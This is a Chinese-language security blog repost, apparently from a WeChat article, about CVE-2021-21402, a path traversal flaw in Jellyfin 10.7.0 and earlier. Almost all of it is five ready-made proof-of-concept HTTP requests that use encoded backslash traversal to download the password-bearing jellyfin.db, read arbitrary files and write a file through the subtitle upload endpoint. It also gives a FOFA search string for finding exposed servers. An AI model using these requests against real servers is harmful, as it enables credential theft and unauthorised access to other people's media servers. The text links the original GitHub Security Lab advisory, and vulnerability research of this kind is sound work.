CVE-2021-21402 Jellyfin任意文件读取
2021-04-10 11:32:02 Author: mp.weixin.qq.com(查看原文) 阅读量:109 收藏

文章来源:安全鸭

FOFA:title="Jellyfin"

影响版本:

jellyfin<=10.7.0

POC1:从服务器下载带有密码的jellyfin.db:

GET /Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/ HTTP/1.1Host: x.x.x.xaccept: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36Referer: http://x.x.x.x/web/index.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

POC2:

GET /Videos/anything/hls/m/..%5Cdata%5Cjellyfin.db HTTP/1.1

POC3:

GET /Videos/anything/hls/..%5Cdata%5Cjellyfin.db/stream.m3u8/?api_key=4c5750626da14b0a804977b09bf3d8f7 HTTP/1.1

POC4:   要下载的PoC c:\temp\filename.jpg: 

GET /Images/Ratings/c:%5ctemp/filename HTTP/1.1 GET /Images/Ratings/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5ctemp/filename HTTP/1.1

POC5:

POST /Videos/d7634eb0064cce760f3f0bf8282c16cd/Subtitles HTTP/1.1...X-Emby-Authorization: MediaBrowser DeviceId="...", Version="10.7.0", Token="..."...
{"language":".\\..\\","format":".\\..\\test.bin","isForced":false,"data":"base64 encoded data"}

原文:

https://securitylab.github.com/advisories/GHSL-2021-050-jellyfin/


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650508001&idx=3&sn=ea5cc7ef406b5b2923f972077659ca26&chksm=83baef05b4cd6613dd1556dd3ead973f0d0dfccf75763b1e482f7ececf7640366d344405ac59#rd
如有侵权请联系:admin#unsafe.sh